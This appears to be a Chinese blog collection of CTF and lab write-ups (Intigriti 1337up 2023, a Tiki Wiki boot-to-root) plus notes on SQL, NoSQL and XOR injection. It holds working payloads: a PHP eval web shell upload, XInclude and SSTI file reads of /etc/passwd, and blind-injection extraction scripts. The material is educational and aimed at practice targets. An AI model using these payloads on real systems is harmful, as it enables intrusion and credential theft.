0%

Bean Cafe

他的验证逻辑是通过图片的md5的值来验证的,所以我们只需要传两张MD5相同的图片就可以获得flag

https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0

Upload Fun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
if($_SERVER['REQUEST_METHOD'] == "POST"){
if ($_FILES["f"]["size"] > 1000) {
echo "file too large";
return;
}

if (str_contains($_FILES["f"]["name"], "..")) {
echo "no .. in filename please";
return;
}

if (empty($_FILES["f"])){
echo "empty file";
return;
}

$ip = $_SERVER['REMOTE_ADDR'];
$flag = file_get_contents("/flag.txt");
$hash = hash('sha256', $flag . $ip);

if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {
echo "upload success";
} else {
echo "upload error";
}
} else {
if (isset($_GET["f"])) {
$path = "./uploads/" . $_GET["f"];
if (str_contains($path, "..")) {
echo "no .. in f please";
return;
}
include $path;
}

highlight_file("index.php");
}
?>

首先分析一下源码,源码通过POST方式来上传文件并且上传的文件不能包含..用GET的方式来读取文件也不能带有..,上传的文件在uploads目录下,但是我们不知道$hash是什么。

通过谷歌得知在linux种文件名的长度最大可为255个字符,我们可以通过这种方式让它报错来得知他的值

我们可以看到他的回显告诉我们了hash的值,然后我们再上传一句话木马访问即可。

POST上传文件的请求体模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST / HTTP/2
Host:
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ad900b10331bc6f843fbff300b80018.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylZktl8pLMuKyOfBy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 198

------WebKitFormBoundarylZktl8pLMuKyOfBy
Content-Disposition: form-data; name=""; filename=""
Content-Type:


<?php eval($_POST['1'])?>
------WebKitFormBoundarylZktl8pLMuKyOfBy

Username

题目提示了jwt可以爆破,那这道题肯定和jwt伪造有关。

用jwt-cracker爆破密钥,为mstzt

因为有标签,所以判断为xxe注入,但是正常的xxe他会有过滤,不能引用东西。可以使用XInclude attack关于XInclude attack

读取/app/app.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import flask
from flask import Flask, render_template, request, url_for
import jwt
from lxml import etree
import os
import re
import tempfile

app = Flask(__name__)

FLAG = os.environ.get('FLAG') or 'wcft{fake-flag}'
FLAGUSER_PASSWORD = os.environ.get('FLAGUSER_PASSWORD') or 'fake-password'

JWT_SECRET = os.environ.get('JWT_SECRET') or 'secret'

JWT_ALG = 'HS256'
JWT_COOKIE = 'appdata'


@app.route('/')
def root():
return render_template("index.html")


@app.route('/secret-welcome-935734', methods=['GET'])
def secret_welcome():
# There is a linux user named 'flaguser'
# Login here with that username and their linux password.
auth = request.authorization

if auth is None or auth.username != 'flaguser' or auth.password != FLAGUSER_PASSWORD:
resp = flask.Response('Please provide the right credentials to get the flag')
resp.headers['WWW-Authenticate'] = 'Basic'
return resp, 401

return f'Congrats, here is your flag: {FLAG}'


@app.route('/welcome', methods=['GET'])
def welcome():
cookie = request.cookies.get(JWT_COOKIE)

if not cookie:
return f'Error: missing {JWT_COOKIE} cookie value'

try:
jwtData = jwt.decode(cookie, JWT_SECRET, algorithms=[JWT_ALG])
except:
return 'Error: unable to decode JWT cookie', 400

data = jwtData['data']
if not data:
return 'Error: missing data field from decoded JWT', 400

xmlText = str(data)
if '&' in xmlText:
return 'Error: No entity references please', 400
if '%' in xmlText:
return 'Error: No parameter file entities please', 400

tmp = tempfile.NamedTemporaryFile()

# Open the file for writing.
with open(tmp.name, 'w') as f:
f.write(xmlText)

try:
parser = etree.XMLParser(resolve_entities=False)
xmlDoc = etree.parse(tmp.name, parser=parser)
xmlDoc.xinclude()
except Exception as e:
print('XML Error:', e)
return 'Error: Error parsing XML', 400


usernameElement = xmlDoc.find('username')
if usernameElement is None:
return 'Error: Missing username element in XML', 400

username = usernameElement.text

return render_template("welcome.html", username=username)


@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')

if not username:
return 'Error: username is required', 400

username = str(username)

if not re.match('^[a-z] $', username):
return 'Error: username must be only lowercase letters', 400

if len(username) < 3:
return 'Error: username must be at least 3 letters', 400

if len(username) > 20:
return 'Error: username must be no longer than 20 letters', 400

# Useful for chal development
# username = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="/app/app.py" parse="text"/>'
xml = f'<data><username>{username}</username></data>'

jwtData = {"data": xml}

cookie = jwt.encode(jwtData, JWT_SECRET, algorithm=JWT_ALG)

response = flask.make_response(f'hello {username}')
response.set_cookie(JWT_COOKIE, cookie)

response.headers['location'] = url_for('welcome')
return response, 302

if __name__ == "__main__":
app.run(debug=False)

在这个文件里可以得知,有一个新的路由/secret-welcome-935734在这里登陆成功后得到flag,用户名为flaguser,密码我们可以用xxe读取/etc/passwd或者/etc/shadow在shadow中我们得知密码为$1$hack$BzqsFHqkPjQ2Sn9amFsgN0这个可以利用hashcat爆破

关于hashcat的用法

爆破出来密码是qqz3登录得到flag

JDBC

JDBC是什么

Java DataBase Connectivity(Java语言连接数据库)

接口或类 作用
DriverManager类 1)管理和注册数据库驱动
2)得到数据库连接对象
Connection接口 一个连接对象,可用于创建Statement和PreparedStatement对象
Statemen接口 一个SQL语句对象,用于将SQL语句发送给数据库服务器
PreparedStetemen接口 一个SQL语句对象,是Statemen的子接口
ResultSet接口 用于封装数据库查询的结果集,返回给数据库Java程序
加载和注册驱动的方法 描述
Class.forName(数据库驱动实现类) 加载和注册数据库驱动,数据库驱动由mysql厂商”com.mysql.jbdc.Driver”

PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。

Statement不会对SQL语句进行预编译。

两种操作都是因为SQL语句拼接导致的SQL注入。

MyBatis框架

在mybatis中的,使用#包裹的字段在内部进行了预编译处理,而$并没有使用预编译,也就是JDBC中prepareStatement和Statement的区别。mybatis的sql语句通常是写在xml文件中。

order by 盲注

在SQL中是不允许union直接跟在order by后面的,所以我们可以考虑使用盲注或报错注入。

我的理解就是通过order by将列进行排序,通过返回的不同结果

举个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='1',sleep(1),1));
+------------------+------------+
| username | password |
+------------------+------------+
| Nakajima Ayato | 9CXLGSEWDO |
| Mildred Green | r8ZPbvDXBC |
| Ito Momoe | qao7ysP90D |
| Lo On Kay | x8rGVqTQqd |
| Kobayashi Sakura | lYiv7UO8Yo |
+------------------+------------+
5 rows in set (0.002 sec)

MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='N',sleep(1),1));
+------------------+------------+
| username | password |
+------------------+------------+
| Nakajima Ayato | 9CXLGSEWDO |
| Mildred Green | r8ZPbvDXBC |
| Ito Momoe | qao7ysP90D |
| Lo On Kay | x8rGVqTQqd |
| Kobayashi Sakura | lYiv7UO8Yo |
+------------------+------------+
5 rows in set (5.004 sec)

可以看到,当if语句成立时返回的时间为5s,但是不成立时为0.002s

这是基于时间的盲注。

还可以利用其它的方式来进行盲注

例如:

1
2
MariaDB [test]> select * from user order by if(substr((select username from user limit 0,1),1,1)='a',1,(select host from mysql.user));
ERROR 1242 (21000): Subquery returns more than 1 row

如果if语句错误就会返回ERROR 1242 (21000): Subquery returns more than 1 row,当if成立时就会返回正常页面,可以通过返回的情况来判断。

rand()盲注

原理和order by大差不差,就是rand()会产生一个0-1之间的随机数,我们给一个固定的种子就会生成一个固定的数,所以我们控制rand的种子就可以造成排序的结果不同。

比如:

1
2
3
4
5
rand(1)
rand(0)
rand(1=1)
rand(lenth(database())=8)
....

#和$符号的区别

#{}

使用#{}意味着使用的预编译的语句,即在使用jdbc时的preparedStatement,sql语句中如果存在参数则会使用?作占位符,我们知道这种方式可以防止sql注入,并且在使用#{}时形成的sql语句,已经带有引号,例,select * from table1 where id=#{id} 在调用这个语句时我们可以通过后台看到打印出的sql为:select * from table1 where id=’2’ 加入传的值为2.也就是说在组成sql语句的时候把参数默认为字符串。

${}

使用${}时的sql不会当做字符串处理,是什么就是什么,如上边的语句:select * from table1 where id=${id} 在调用这个语句时控制台打印的为:select * from table1 where id=2 ,假设传的参数值为2

从上边的介绍可以看出这两种方式的区别,我们最好是能用#{}则用它,因为它可以防止sql注入,且是预编译的,在需要原样输出时才使用${},如,

select * from ${tableName} order by ${id} 这里需要传入表名和按照哪个列进行排序 ,加入传入table1、id 则语句为:select * from table1 order by id

如果是使用#{} 则变成了select * from ‘table1’ order by ‘id’ 我们知道这样就不对了。

另,在使用以下的配置时,必须使用#{}

1
2
3
4
<select id="selectMessageByIdI" parameterType="int" resultType="Message">

select * from message where id=#{id};
</select>

在parameterType是int时,sql语句中必须是#{}。

参考链接

关于Java中order by注入详解

什么是NoSQL

NoSQL,指的是非关系型的数据库。NoSQL 有时也称作 Not Only SQL 的缩写,是对不同于传统的关系型数据库数据库管理系统的统称。NoSQL 用于超大规模数据的存储。(例如谷歌或 Facebook 每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。


NoSQL 提供了新的数据模型和查询格式,从而可以规避常规的 SQL 注入攻击。但是,它们也为攻击者提供了插入恶意代码的新方法。总的来讲有四种注入手法:

1、重言式

又称为永真式(这个好像是数理逻辑里面的术语),此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

2、联合查询

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

3、JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,传递不干净的用户输入到这些查询中可以注入任意 JavaScript 代码,导致非法的数据获取或篡改。

4、盲注

当页面没有回显时,那么我们可以通过$regex正则表达式来达到和 SQL 注入中substr()函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。


对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们输入value=1那么,也就是输入了一个 value 的值为 1 的数据。如果输入value[$ne]=1也就意味着value=array($ne=>1),在 MongoDB 中,原来的一个单个目标的查询变成了条件查询。同样的,我们也可以使用username[$gt]=&password[$gt]=作为 payload 进行攻击。

在我看来,nosql注入就是通过传入数组然后拼接恶意语句造成注入,和其他数据库的注入原理类似,但是语法有所不同。

查询操作符

nosql的查询操作符不用or、and、=等等,取而代之的是$eq、$ne、$gt

方法名 描述
$gt 大于
$lte 小于等于
$in 包含
$nin 不包含
$lt 小于
$gte 大于等于
$ne 不等于
$eq 等于
$and
$nor $nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档
$not 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
$or

例如:

我们传入username=admin&password=123456

后端就会处理成

1
2
3
4
array(
'username' => 'admin',
'password' => '123456'
)

如果我们传入username[$ne]=1&password[$ne]=1

后端处理成

1
2
3
4
array(
'username' => array('$ne' => 1),
'password' => array('$ne' => 1)
)

查询的语句就会变成db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

意思就是查询username不等于1,password不等于1的用户

此外,nosql还可以进行javascrip注入

例如:db.users.find( { $where: function() { return this.username == 'admin'; } } )

该查询返回在users集合中username等于admin的所有文档。

参考链接

从零学习 NoSQL 注入之 Mongodb

get-started-with-nosql-injection-nosqli

sql异或注入

当waf过滤了很多东西,但是没有过滤异或(^)符的时候使用。

什么是异或注入

异步注入说简单一点就是在构造where后面的判断条件时使用^(异或符号)来达到sql注入攻击的目的

1^1=0 1^0=1

异或注入就是利用sql语句来进行盲注

例如:

1
select * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$);

这里就是看数据库的第变量1个字符是否等于变量2,如果相等就会变成1^1返回的是0,所以我们应该在最后再异或一个1

1
select * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$)^1;

这样如果数据库的第变量1个字符等于变量2就会返回1,然后再配合脚本实现异或注入


脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url = ""
pay=''
column = ""
for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
# 库名
#temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
# 表名
# temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
# 字段名
# temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
# 内容
pay = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url+pay)
time.sleep(0.04)
print(low, high, mid, ":")
if "Click" in r.text: #自行更改返回字符
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
column += chr(mid)
print(column)

print("All:", column)

昨天我发现了一个问题

1
2
3
4
<?php
$a='693741';
$a=base_convert($a,10,36);
$a(system("dir"));

$a是36进制的eval转换成的10进制

所以这个代码其实就是eval(system("dir"));,但是运行的时候却报错了

1
PHP Fatal error:  Uncaught Error: Call to undefined function eval()

然后去网上了解了才知道

eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用`

类似的语法构造还有:echoprintunset()isset()empty()includerequire

就比如

1
2
3
4
5
6
7
8
9
print "asdasd";
>asdasd

function myprint($a)
{
print $a;
}
myprint "asdasdasd";
>Parse error: syntax error, unexpected '"asdasdasd"' (T_CONSTANT_ENCAPSED_STRING)

直接print "asdasd"就可以打印出字符,但是自己构造的函数却没有办法这样。

所以网上有的一句话木马来调用eval的其实都不可以,换成assert就可以了。

order by比较大小盲注

这是表里的所有东西

如果我们执行select * from flag where id='' or 1 union select 1,1 order by 2;会出现

不能用and否则就相当于创建了一个虚拟的表,查询不到原来的数据。

我们知道flag的第一位是f,如果我们查询select * from flag where id='' or 1 union select 1,'f' order by 2;会发生什么呢?

还是这样,第一行没什么用,但是如果我们查询的是g的话就会变成这样

flag的值就会出现在第一行,我们就可以利用这一点来进行order by盲注

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
url="http://4ef0329e-10b4-4bd1-bf0a-0d80fe83129d.challenge.ctf.show/"
str=string.digits+string.ascii_letters
flag=''
j=''
for i in range(1,50):
for s in str:
data = {
'username': "' or 1 union select 1,2,'{0}' order by 3#".format(flag+s),
'password': '1111'
}
r=requests.post(url,data=data)
if "</code>admin" in r.text:
flag+=chr(ord(s)-1)
print(flag)
break;

根据脚本自行修改

描述

哦,不,我们的网络服务器受到了损害。攻击者使用了0day,所以我们不知道他是如何进入管理面板的。调查一下。

这是一个 OSCP Prep Box,它基于我最近发现的 CVE。它位于 OSCP 实验室机器级别。

渗透过程

首先就是信息搜集,靶机的ip用nmap或者netdiscover都可以

靶机ip:192.168.56.102

然后扫描一下全部的端口

nmap -sS -p- 192.168.56.102 -T4 --min-rate 1000 -oN nmap.txt

结果如下:

1
2
3
4
5
PORT    STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds

然后扫一下端口的信息,和服务的版本

nmap -sV -sC -O -p22,80,139,445 192.168.56.102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT    STATE SERVICE     VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a3d84a89a9256d07c53d762806edd1c0 (RSA)
| 256 e7b289055457dc02f48c3a7c558b51aa (ECDSA)
|_ 256 fd77072b4a163a016be0000c0a36d82f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/tiki/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:26:96:01 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 7h59m57s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time:
| date: 2023-12-04T20:55:56
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.95 seconds

可以发现有samba服务,可以对samba进行枚举

enum4linux跑一下可以找到silky的用户,用smbclient列举一下共享的资源

smbclient -L IP

1
2
3
4
5
6
Sharename       Type      Comment
--------- ---- -------
print$ Disk Printer Drivers
Notes Disk My Notes
IPC$ IPC IPC Service (ubuntu server (Samba, Ubuntu))

能找到Notes,连接一下smbclient //192.168.56.102/Notes有一个Mail.txt

下载下来查看

1
2
3
4
5
6
7
8
9
10
#Mail.txt
Hi Silky
because of a current Breach we had to change all Passwords,
please note that it was a 0day, we don't know how he made it.

Your new CMS-password is now 51lky571k1,
please investigate how he made it into our Admin Panel.

Cheers Boss.

可以看到cms的密码,登录之后没什么用。

查看cms有没有什么历史漏洞

searchsploit tiki cms

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Tiki Wiki CMS 15.0 - Arbitrary File Download | php/webapps/40080.txt
Tiki Wiki CMS Calendar 6.15/9.11 LTS/12.5 LTS/14.2 - Remote Code Execution | php/webapps/39965.txt
Tiki Wiki CMS Groupware - 'url' Open Redirection | php/webapps/36848.txt
Tiki Wiki CMS Groupware 21.1 - Authentication Bypass | php/webapps/48927.py
Tiki Wiki CMS Groupware 5.2 - Multiple Vulnerabilities | php/webapps/15174.txt
Tiki Wiki CMS Groupware 7.2 - 'snarf_ajax.php' Cross-Site Scripting | php/webapps/35974.txt
Tiki Wiki CMS Groupware 8.1 - 'show_errors' HTML Injection | php/webapps/36470.txt
Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection | php/webapps/18265.txt
Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution | php/webapps/19573.php
Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution (Metasploit) | php/webapps/19630.rb
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

查看web服务cms的版本用dirsearch可以找到一个changelog

访问可以看到版本为21.1,正好有一个历史漏洞

searchsploit tiki cms -m 48927 将脚本下载下来运行,重置admin的密码为空,然后用admin登录bp抓包修改登录密码为空,成功登录。在lastchange的Credentials里可以找到silky:Agy8Y7SPJNXQzqA 这个是ssh的密码,用ssh连接,查看id,发现用户在sodu组下,可以直接sudo su提权。

小结

一开始靶场搭建的时候出了点问题导致发现不了靶机的地址,是因为我的攻击机和靶机不在一个局域网内,将靶机的网卡和攻击机桥接在一起就可以了

记录下来的只有正确的路线,渗透过程中还要去试着探索其他的功能点

CTFC

刷题的时候见到过这种题,其实就是注入+爆破嘛,但之前遇到的是sql注入的,这说明现在数据库类型见的不多

题目给了一个附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#app.py
from flask import Flask,render_template,request,session,redirect
import pymongo
import os
from functools import wraps
from datetime import timedelta
from hashlib import md5
from time import sleep

app = Flask(__name__)
app.secret_key = os.environ['SECRET_KEY']

# db settings
client = pymongo.MongoClient('localhost',27017)
db = client.ctfdb

def createChalls():
db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"})
db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"})
db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})

# login check
def check_login(f):
@wraps(f)
def wrap(*args,**kwrags):
if 'user' in session:
return f(*args,**kwrags)
else:
return render_template('dashboard.html')
return wrap

# routes
from user import routes

@app.route('/')
@check_login
def dashboard():
challs = []
for data in db.challs.find():
del data['challenge_flag']
challs.append(data)
chall_1 = challs[0]
chall_2 = challs[1]
return render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2)

@app.route('/register')
def register():
return render_template('register.html')

@app.route('/login')
def login():
return render_template('login.html')

@app.route('/logout')
def logout():
session.clear()
return redirect('/')

@app.route('/submit_flag',methods=['POST'])
@check_login
def submit_flag():
_id = request.json.get('_id')[-1]
submitted_flag = request.json.get('challenge_flag')
chall_details = db.challs.find_one(
{
"_id": md5(md5(str(_id).encode('utf-8')).hexdigest().encode('utf-8')).hexdigest(),
"challenge_flag":submitted_flag
}
)
if chall_details == None:
return "wrong flag!"
else:
return "correct flag!"

# wait untill mongodb start then create the challs in db
sleep(10)
createChalls()

能看出是MongoDB可以用$regex 进行正则匹配

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests, string
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

headers = {
'Content-Type': 'application/json'
}

cookies = {
'session': 'eyJ1c2VyIjp7Il9pZCI6IjNhZDFlZGRlODNkMzRmMjhiZTMwMDdiYTIxOWQzZDUyIiwidXNlcm5hbWUiOiJhc2Rhc2QifX0.ZVoXtA.-obI_0v_QOu3KgulYZCyrYukpiM'
} #登录的session

flag = ''

while True:
for l in string.ascii_letters + string.digits + "_{}":
data = '{"_id":"_id:3","challenge_flag":{"$regex":"^' + flag + l + '.*"}}'
print(data)
data = requests.post('https://ctfc2.ctf.intigriti.io/submit_flag', data = data, headers = headers, cookies = cookies, verify=False)
print(data.text)
if 'correct flag!' in data.text:
flag += l
print(flag)
break
else:
print('Failed')
exit(1)

Bug Bank

有两种解法,预期解我也没看懂,非预期解就很简单了,通过转钱的功能转-100000000原账号就会减-100000000就会变成正的,就可以买flag了

预期解可以参考:

1
2
3
https://github.com/opabravo/security-writeups/blob/main/ctf/2023-11-17%20Intigriti%201337up%20CTF%202023.md

https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering

Smarty Pants

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#index.php
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/';

if(!isset($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->display('index.tpl');
exit();
}

// returns true if data is malicious
function check_data($data){
global $pattern;
return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->assign('error', 'Malicious Inputs Detected');
$smarty->display('index.tpl');
exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

用换行符绕过即可

Bug Report Repo

首先是sql盲注,数据库是sqlite,自己写的脚本,效率不够,还是得靠sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import websocket
import string
import json
str=string.ascii_letters+string.digits+string.punctuation
ws = websocket.WebSocket()
ws.connect("wss://bountyrepo.ctf.intigriti.io/ws")
flag=''
for j in range(1,300):
aaa=False
for i in str:
# data={"id":f"11 and length(sqlite_version())={j}"}判断数据库长度
# data={"id":f"11 AND SUBSTR((SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'),1,1)=CHAR({j})"}判断表长度
#data={"id":f"11 and substr((select group_concat(tbl_name) from sqlite_master where type='table' limit 0,1),{j},1)='{i}'"}
data = {"id": f"11 and substr((select group_concat(sql) from sqlite_master),{j},1)='{i}'"}
data=json.dumps(data)
#print(data)
ws.send(data)
a=ws.recv()
print(a)
if 'Bug report from ethical_hacker is Open' in a:
aaa=True
flag+=i
print(flag)
break
#continue
if aaa == False:
print("ok")
break

附一个别的师傅写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string
from websockets.sync.client import connect
import json

URL = 'bountyrepo.ctf.intigriti.io'
# ALPHABET = string.ascii_uppercase # string.ascii_letters + '{!_}'
ALPHABET = string.digits + '.'
PAYLOAD = "1 AND (select sqlite_version()) LIKE '{guess}%' -- -"

# flag = 'INTIGRITI'
flag = ''
with connect(f"wss://{URL}/ws") as websocket:
while True:
for c in ALPHABET:
payload = PAYLOAD.format(guess=flag + c)
print('\r>>>', payload, end='')
websocket.send(json.dumps({"id": payload}))
message = websocket.recv()
if 'Bug not found!' not in message:
flag += c
print()
print(flag)
break


'''
# PAYLOAD = "1 AND (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') LIKE '{tables}%' -- -"
# tables = "bug_reports"
# PAYLOAD = "1 AND (SELECT GROUP_CONCAT(name) FROM PRAGMA_TABLE_INFO('bug_reports')) LIKE '{guess}%' --"
# columns = 'id,category,description,severity,cvss_score,status,reported_by,reported_date'
'''

爆出来的一条有用的东西

1
crypt0:c4tz on /4dm1n_z0n3, really?!

访问是一个登录页面,用给的用户名密码登录,他是得是admin,那就是jwt,但是不知道密钥啊,这个时候就用到了一个工具jwt-cracker爆破密钥,字典用rockyou,key是catsarethebest,伪造admin就ok了

Pizza Time

只有一处功能点….

1
sudo nmap -sVC -T4 -Pn -vv -p 443 pizzatime.ctf.intigriti.io

探测web服务,用的是ngnix,可以猜测是Flask/Django或者node

首先fuzz,可以看出除了&+的所有的特殊字符都被过滤了大括号也被过滤了,难道不是SSTI么?不!他就是SSTI,%0a可以绕过,具体原理是什么我得分析分析源码再写

payload:

1
x%0a{{lipsum.__globals__["os"].popen('cat+/etc/passwd').read()}}

但是这样会报500,将命令放进header里就可以绕过了

1
x%0a{{lipsum.__globals__["os"].popen(request.headers.get("X")).read()}}

什么是DNSlog

DNS(Domain Name System)域名服务系统,简单的说就是域名与IP转换服务,比如用户输入a.com,DNS就会将a.com解析找到它真实的ip,以便于访问服务器上的相关服务,DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问的信息,类似于日志文件。

DNSlog回显原理

首先我们先了解一下多级域名的概念

域名分级与域名解析过程(DNS)

